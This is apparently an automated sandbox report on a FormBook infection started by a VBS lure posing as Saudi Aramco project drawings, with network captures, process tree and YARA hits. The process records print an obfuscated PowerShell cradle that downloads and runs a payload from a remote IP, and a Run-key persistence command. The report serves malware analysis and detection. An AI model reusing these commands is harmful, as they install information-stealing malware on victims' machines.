                                        content-encoding: gzip
                                        connection: close
                                        Data Raw: 41 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 3d 0a 02 31 10 85 7b c1 3b 8c 07 08 51 b4 1c d2 88 82 85 95 27 48 9c 71 13 c8 26 cb 6c 9a dc de ac ee 82 58 5b 5a 0d f3 7e 3e 1e fa d2 47 b3 5e a1 67 4b 06 4b 28 91 cd 61 bb 87 73 16 17 88 38 a1 7e 8b a8 5f 91 16 75 99 ea 74 ef 9c 0a 8b 41 bf fb 6e 34 05 f5 6c 4f ec 16 9a bf 3c 70 12 1e 4b fd f4 f5 42 d4 cb 9a 8d 52 60 61 b0 44 21 75 50 32 50 18 ad 8b 0c d7 db e5 04 36 11 1c bd e4 9e e1 21 81 13 c5 0a 2c 92 a5 35 3a 06 a5 fe 88 5f 23 9e 4e 40 05 2c 28 02 00 00 0d 0a 30 0d 0a 0d 0a
                                        Data Ascii: A7=1{;Q'Hq&lX[Z~>G^gKK(as8~_utAn4lO<pKBR`aD!uP2P6!,5:_#N@,(0


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        9192.168.2.54972791.195.240.6880C:\Users\user\Documents\ServiceHub.pif
                                        TimestampkBytes transferredDirectionData
                                        Jul 24, 2023 10:32:12.744018078 CEST923OUTGET /m8a3/?wllV=ZE0BJ&yy9Uwvr=wELRwQq9Ik4akR1AOxjjTZuNaDONjs8a2YaLQcHnUlU7Bv3tKYzAHvXnkO/QKC4W0Zoe4oBdA0RLZC4HllwlUjUeZBoK18Latg== HTTP/1.1
                                        Host: www.blackhawkstickets.com
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                        Accept-Language: en-US
                                        Connection: close
                                        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                        Jul 24, 2023 10:32:12.762871027 CEST924INHTTP/1.1 403 Forbidden
                                        date: Mon, 24 Jul 2023 08:32:12 GMT
                                        content-type: text/html
                                        content-length: 552
                                        vary: Accept-Encoding
                                        server: NginX
                                        connection: close
                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
                                        Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                        Statistics

                                        CPU Usage

                                        Click to jump to process

                                        Memory Usage

                                        Click to jump to process

                                        High Level Behavior Distribution

                                        Click to dive into process behavior distribution

                                        Behavior

                                        Click to jump to process

                                        System Behavior

                                        General

                                        Target ID:0
                                        Start time:10:28:58
                                        Start date:24/07/2023
                                        Path:C:\Windows\System32\wscript.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PROJECT-_SAUDI_ARAMCO_DRAWING_AND_SPECS.vbs"
                                        Imagebase:0x7ff6b4870000
                                        File size:163'840 bytes
                                        MD5 hash:9A68ADD12EB50DDE7586782C3EB9FF9C
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Reputation:high

                                        General

                                        Target ID:1
                                        Start time:10:28:59
                                        Start date:24/07/2023
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\System32\cmd.exe" /c "powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process 'powershell.exe' -WindowStyle hidden -Verb runas -ArgumentList '-exec Bypass -c', '$c1=''iex (New-Object Net.We''; $c4=''bClient).Downlo''; $c3=''adString(''''http://212.192.219.52/Untitled2.bmp'''')'';I`E`X ($c1,$c4,$c3 -Join '''')' ;exit}catch{}}
                                        Imagebase:0x7ff627730000
                                        File size:273'920 bytes
                                        MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Reputation:high

                                        General

                                        Target ID:2
                                        Start time:10:28:59
                                        Start date:24/07/2023
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff7fcd70000
                                        File size:625'664 bytes
                                        MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Reputation:high

                                        General

                                        Target ID:3
                                        Start time:10:28:59
                                        Start date:24/07/2023
                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        Wow64 process (32bit):false
                                        Commandline:powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process 'powershell.exe' -WindowStyle hidden -Verb runas -ArgumentList '-exec Bypass -c', '$c1=''iex (New-Object Net.We''; $c4=''bClient).Downlo''; $c3=''adString(''''http://212.192.219.52/Untitled2.bmp'''')'';I`E`X ($c1,$c4,$c3 -Join '''')' ;exit}catch{}}
                                        Imagebase:0x7ff7fbaf0000
                                        File size:447'488 bytes
                                        MD5 hash:95000560239032BC68B4C2FDFCDEF913
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:.Net C# or VB.NET
                                        Reputation:high

                                        General

                                        Target ID:8
                                        Start time:10:29:03
                                        Start date:24/07/2023
                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        Wow64 process (32bit):false
                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec Bypass -c $c1='iex (New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://212.192.219.52/Untitled2.bmp'')';I`E`X ($c1,$c4,$c3 -Join '')
                                        Imagebase:0x7ff7fbaf0000
                                        File size:447'488 bytes
                                        MD5 hash:95000560239032BC68B4C2FDFCDEF913
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:.Net C# or VB.NET
                                        Reputation:high

                                        General

                                        Target ID:9
                                        Start time:10:29:03
                                        Start date:24/07/2023
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff7fcd70000
                                        File size:625'664 bytes
                                        MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high

                                        General

                                        Target ID:13
                                        Start time:10:29:41
                                        Start date:24/07/2023
                                        Path:C:\Users\user\AppData\Roaming\ServiceHub.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Users\user\AppData\Roaming\ServiceHub.exe"
                                        Imagebase:0xf80000
                                        File size:551'936 bytes
                                        MD5 hash:092A9C604129484DE0CE5F2FB3C450D1
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:.Net C# or VB.NET
                                        Antivirus matches:
                                        • Detection: 100%, Avira
                                        • Detection: 100%, Joe Sandbox ML

                                        General

                                        Target ID:14
                                        Start time:10:30:02
                                        Start date:24/07/2023
                                        Path:C:\Windows\SysWOW64\cmd.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ServiceHub" /t REG_SZ /F /D "C:\Users\user\Documents\ServiceHub.pif
                                        Imagebase:0x11d0000
                                        File size:232'960 bytes
                                        MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language

                                        General

                                        Target ID:15
                                        Start time:10:30:02
                                        Start date:24/07/2023
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff7fcd70000
                                        File size:625'664 bytes
                                        MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language

                                        General

                                        Target ID:16
                                        Start time:10:30:02
                                        Start date:24/07/2023
                                        Path:C:\Windows\SysWOW64\reg.exe
                                        Wow64 process (32bit):true
                                        Commandline:REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ServiceHub" /t REG_SZ /F /D "C:\Users\user\Documents\ServiceHub.pif"
                                        Imagebase:0x110000
                                        File size:59'392 bytes
                                        MD5 hash:CEE2A7E57DF2A159A065A34913A055C2
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language

                                        General

                                        Target ID:17
                                        Start time:10:30:05
                                        Start date:24/07/2023
                                        Path:C:\Users\user\AppData\Roaming\ServiceHub.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Users\user\AppData\Roaming\ServiceHub.exe
                                        Imagebase:0x720000
                                        File size:551'936 bytes
                                        MD5 hash:092A9C604129484DE0CE5F2FB3C450D1
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Yara matches:
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000011.00000002.570692390.0000000001140000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000011.00000002.570692390.0000000001140000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                        • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000011.00000002.570692390.0000000001140000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                        • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com

                                        General

                                        Target ID:19
                                        Start time:10:30:12
                                        Start date:24/07/2023
                                        Path:C:\Users\user\Documents\ServiceHub.pif
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Users\user\Documents\ServiceHub.pif"
                                        Imagebase:0x190000
                                        File size:551'936 bytes
                                        MD5 hash:092A9C604129484DE0CE5F2FB3C450D1
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:.Net C# or VB.NET
                                        Antivirus matches:
                                        • Detection: 100%, Avira
                                        • Detection: 100%, Joe Sandbox ML

                                        General

                                        Target ID:20
                                        Start time:10:30:16
                                        Start date:24/07/2023
                                        Path:C:\Windows\SysWOW64\msiexec.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\SysWOW64\msiexec.exe
                                        Imagebase:0xa10000
                                        File size:59'904 bytes
                                        MD5 hash:12C17B5A5C2A7B97342C362CA467E9A2
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Yara matches:
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000014.00000002.906049322.0000000004A60000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000014.00000002.906049322.0000000004A60000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                        • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000014.00000002.906049322.0000000004A60000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000014.00000002.904340271.0000000000B30000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000014.00000002.904340271.0000000000B30000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                        • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000014.00000002.904340271.0000000000B30000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000014.00000002.905735197.0000000003040000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000014.00000002.905735197.0000000003040000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                        • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000014.00000002.905735197.0000000003040000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com

                                        General

                                        Target ID:21
                                        Start time:10:30:21
                                        Start date:24/07/2023
                                        Path:C:\Users\user\Documents\ServiceHub.pif
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Users\user\Documents\ServiceHub.pif"
                                        Imagebase:0x240000
                                        File size:551'936 bytes
                                        MD5 hash:092A9C604129484DE0CE5F2FB3C450D1
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:.Net C# or VB.NET
                                        Yara matches:
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000015.00000002.723232827.0000000004C7A000.00000040.80000000.00040000.00000000.sdmp, Author: unknown

                                        General

                                        Target ID:22
                                        Start time:10:31:05
                                        Start date:24/07/2023
                                        Path:C:\Users\user\Documents\ServiceHub.pif
                                        Wow64 process (32bit):true
                                        Commandline:C:\Users\user\Documents\ServiceHub.pif
                                        Imagebase:0x970000
                                        File size:551'936 bytes
                                        MD5 hash:092A9C604129484DE0CE5F2FB3C450D1
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language

                                        General

                                        Target ID:23
                                        Start time:10:31:10
                                        Start date:24/07/2023
                                        Path:C:\Users\user\Documents\ServiceHub.pif
                                        Wow64 process (32bit):true
                                        Commandline:C:\Users\user\Documents\ServiceHub.pif
                                        Imagebase:0xb80000
                                        File size:551'936 bytes
                                        MD5 hash:092A9C604129484DE0CE5F2FB3C450D1
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language

                                        General

                                        Target ID:24
                                        Start time:10:31:45
                                        Start date:24/07/2023
                                        Path:C:\Windows\explorer.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\Explorer.EXE
                                        Imagebase:0x7ff69bc80000
                                        File size:3'933'184 bytes
                                        MD5 hash:AD5296B280E8F522A8A897C96BAB0E1D
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language

                                        Disassembly

                                        Reset < >

                                          Executed Functions

                                          Function 00007FF9A5711C59 Relevance: .2, Instructions: 213COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000003.00000002.420126988.00007FF9A5710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5710000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_3_2_7ff9a5710000_powershell.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 18a169cdfe47feeb38738b1885edd527515aa69218dba0e3921272428100a78a
                                          • Instruction ID: f59a8a80c518947554ca9c4b110bc69f65a645a0459aa39ec479563c179f4636
                                          • Opcode Fuzzy Hash: 18a169cdfe47feeb38738b1885edd527515aa69218dba0e3921272428100a78a
                                          • Instruction Fuzzy Hash: 7F612831A0DA8A4FD305DB28D854795BBE1FF86310F0882BBD48DDF1A2DE68A945C781
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 00007FF9A5711775 Relevance: .0, Instructions: 49COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000003.00000002.420126988.00007FF9A5710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5710000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_3_2_7ff9a5710000_powershell.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 1090c728398989aba37c0a0091af4734a0376241bf934198a1b03eb8e197fdb5
                                          • Instruction ID: 8d323f23861a27c4338c1075b85c3253a6ebe6c02994ab2db8c59dee37d3e3ed
                                          • Opcode Fuzzy Hash: 1090c728398989aba37c0a0091af4734a0376241bf934198a1b03eb8e197fdb5
                                          • Instruction Fuzzy Hash: 3F01677111CB0C4FD744EF0CE451AA6B7E0FB95364F10056EE58AC7661DA36E881CB45
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Non-executed Functions

                                          Function 00007FF9A57119B8 Relevance: .4, Instructions: 372COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000003.00000002.420126988.00007FF9A5710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5710000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_3_2_7ff9a5710000_powershell.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 67d5b6917e6af8621aa52231bd375c441e1127f683d221966889da918de27305
                                          • Instruction ID: 30152b7a7f1c8b0982ee3498ee565dc4d6720a2c43e194fbe77f5f927ce8b1a3
                                          • Opcode Fuzzy Hash: 67d5b6917e6af8621aa52231bd375c441e1127f683d221966889da918de27305
                                          • Instruction Fuzzy Hash: 66B14831B1EA4A4FD328DB69D480671B7D0FF46710B1486BED4CACB1A2DB65BC42C780
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Execution Graph

                                          Execution Coverage:11.2%
                                          Dynamic/Decrypted Code Coverage:100%
                                          Signature Coverage:0%
                                          Total number of Nodes:60
                                          Total number of Limit Nodes:1
                                          execution_graph 11590 322a050 11591 322a068 11590->11591 11595 322a1a0 11591->11595 11600 322a1b0 11591->11600 11592 322a070 11596 322a1d1 11595->11596 11605 322a2c0 11596->11605 11610 322a2b1 11596->11610 11597 322a235 11597->11592 11601 322a1d1 11600->11601 11603 322a2c0 2 API calls 11601->11603 11604 322a2b1 2 API calls 11601->11604 11602 322a235 11602->11592 11603->11602 11604->11602 11606 322a2e1 11605->11606 11615 322a361 11606->11615 11620 322a368 11606->11620 11607 322a31a 11607->11597 11611 322a2c0 11610->11611 11613 322a361 2 API calls 11611->11613 11614 322a368 2 API calls 11611->11614 11612 322a31a 11612->11597 11613->11612 11614->11612 11616 322a368 11615->11616 11625 322a890 11616->11625 11629 322a881 11616->11629 11617 322a40a 11617->11607 11621 322a398 11620->11621 11623 322a890 2 API calls 11621->11623 11624 322a881 2 API calls 11621->11624 11622 322a40a 11622->11607 11623->11622 11624->11622 11626 322a8bb 11625->11626 11627 322ab1e 11626->11627 11633 322ca58 11626->11633 11627->11617 11630 322a890 11629->11630 11631 322ab1e 11630->11631 11632 322ca58 2 API calls 11630->11632 11631->11617 11632->11631 11637 322ca80 11633->11637 11641 322ca90 11633->11641 11634 322ca6e 11634->11627 11638 322ca90 11637->11638 11644 322cb7b 11638->11644 11639 322ca9f 11639->11634 11643 322cb7b 2 API calls 11641->11643 11642 322ca9f 11642->11634 11643->11642 11645 322cb82 11644->11645 11646 322cbb3 11644->11646 11645->11646 11651 322ce00 11645->11651 11656 322ce10 11645->11656 11646->11639 11647 322cbab 11647->11646 11648 322cdb0 GetModuleHandleW 11647->11648 11648->11646 11652 322ce0a 11651->11652 11655 322ce77 11651->11655 11653 322ce49 11652->11653 11660 322bee0 11652->11660 11653->11647 11657 322ce24 11656->11657 11658 322ce49 11657->11658 11659 322bee0 LoadLibraryExW 11657->11659 11658->11647 11659->11658 11661 322cff0 LoadLibraryExW 11660->11661 11663 322d069 11661->11663 11663->11653 11664 322f098 DuplicateHandle 11665 322f12e 11664->11665

                                          Executed Functions

                                          Function 0322CB7B Relevance: 1.7, APIs: 1, Instructions: 205COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                          • GetModuleHandleW.KERNEL32(00000000), ref: 0322CDCE
                                          Memory Dump Source
                                          • Source File: 0000000D.00000002.528872455.0000000003220000.00000040.00000800.00020000.00000000.sdmp, Offset: 03220000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_13_2_3220000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: HandleModule
                                          • String ID:
                                          • API String ID: 4139908857-0
                                          • Opcode ID: 40cc7d61222707813989a21ef3c46fc22ec0c9d535ea60039030a781fac3a253
                                          • Instruction ID: c0edea02e82f523f12739eb37286d8a97d713dd48679e6f22ca7fb42a6d12fc9
                                          • Opcode Fuzzy Hash: 40cc7d61222707813989a21ef3c46fc22ec0c9d535ea60039030a781fac3a253
                                          • Instruction Fuzzy Hash: C2814870A10B259FD724DF2AD45079ABBF5FF88600F04892ED486DBA00DB75E885CB91
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0322F098 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 62 322f098-322f12c DuplicateHandle 63 322f135-322f152 62->63 64 322f12e-322f134 62->64 64->63
                                          APIs
                                          • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0322F11F
                                          Memory Dump Source
                                          • Source File: 0000000D.00000002.528872455.0000000003220000.00000040.00000800.00020000.00000000.sdmp, Offset: 03220000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_13_2_3220000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: DuplicateHandle
                                          • String ID:
                                          • API String ID: 3793708945-0
                                          • Opcode ID: 420256980e2d3816a211bfed68d364c934251f599b41c190b90b06b928e5c2a8
                                          • Instruction ID: 6cba232c876b6424deb898c7526cc07e755bad81941aa6c642477b3e5159ba5a
                                          • Opcode Fuzzy Hash: 420256980e2d3816a211bfed68d364c934251f599b41c190b90b06b928e5c2a8
                                          • Instruction Fuzzy Hash: 4E21C2B5900219AFDB10CFAAD984ADEFFF8EB48720F14841AE914B7310D374A944DFA5
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0322BEE0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 67 322bee0-322d030 69 322d032-322d035 67->69 70 322d038-322d067 LoadLibraryExW 67->70 69->70 71 322d070-322d08d 70->71 72 322d069-322d06f 70->72 72->71
                                          APIs
                                          • LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0322CE49,00000800,00000000,00000000), ref: 0322D05A
                                          Memory Dump Source
                                          • Source File: 0000000D.00000002.528872455.0000000003220000.00000040.00000800.00020000.00000000.sdmp, Offset: 03220000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_13_2_3220000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: LibraryLoad
                                          • String ID:
                                          • API String ID: 1029625771-0
                                          • Opcode ID: 7d8c4c3638282a09f700c120d8193bf3eeda52f45aefced6bf1f1994a367352f
                                          • Instruction ID: 0bc870258f19c2f5358b8372a7073a8591046a8680eea774a7fe614513f970bb
                                          • Opcode Fuzzy Hash: 7d8c4c3638282a09f700c120d8193bf3eeda52f45aefced6bf1f1994a367352f
                                          • Instruction Fuzzy Hash: CA1117B29002199FCB10CF9AC844BDEFBF4EB48310F14852ED815B7610C775A585CFA4
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0322CFEB Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 75 322cfeb-322d030 77 322d032-322d035 75->77 78 322d038-322d067 LoadLibraryExW 75->78 77->78 79 322d070-322d08d 78->79 80 322d069-322d06f 78->80 80->79
                                          APIs
                                          • LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0322CE49,00000800,00000000,00000000), ref: 0322D05A
                                          Memory Dump Source
                                          • Source File: 0000000D.00000002.528872455.0000000003220000.00000040.00000800.00020000.00000000.sdmp, Offset: 03220000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_13_2_3220000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: LibraryLoad
                                          • String ID:
                                          • API String ID: 1029625771-0
                                          • Opcode ID: 9ceec3308808c3ac62bee28ecc50bd09c90a44ebcc4ea0f252c0f598bb788961
                                          • Instruction ID: f2f63768c60118a66ffb8c4fde86c918932506b426b0685d508d19bbdd239db4
                                          • Opcode Fuzzy Hash: 9ceec3308808c3ac62bee28ecc50bd09c90a44ebcc4ea0f252c0f598bb788961
                                          • Instruction Fuzzy Hash: 9111E4B69002199FDB10CF9AC844ADEFBF4AB48720F14852AD829B7610C375A585CFA5
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0322CD68 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 83 322cd68-322cda8 84 322cdb0-322cddb GetModuleHandleW 83->84 85 322cdaa-322cdad 83->85 87 322cde4-322cdf8 84->87 88 322cddd-322cde3 84->88 85->84 88->87
                                          APIs
                                          • GetModuleHandleW.KERNEL32(00000000), ref: 0322CDCE
                                          Memory Dump Source
                                          • Source File: 0000000D.00000002.528872455.0000000003220000.00000040.00000800.00020000.00000000.sdmp, Offset: 03220000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_13_2_3220000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: HandleModule
                                          • String ID:
                                          • API String ID: 4139908857-0
                                          • Opcode ID: c1e9cdb8ead954a27a8fa16da2272c4ecffc044c3fbecd4c6cdee19762c1770a
                                          • Instruction ID: a0ebd76b844ee435aa9c561d032bd0c20a55551baa2f3aa5d80e74293cd8de9f
                                          • Opcode Fuzzy Hash: c1e9cdb8ead954a27a8fa16da2272c4ecffc044c3fbecd4c6cdee19762c1770a
                                          • Instruction Fuzzy Hash: 7011E0B6C002599FCB10CF9AC844ADEFFF4AF88324F14856AD419B7600C374A585CFA5
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0307D4D8 Relevance: .1, Instructions: 75COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 0000000D.00000002.528119089.000000000307D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0307D000, based on PE: false
                                          Joe Sandbox IDA Plugin
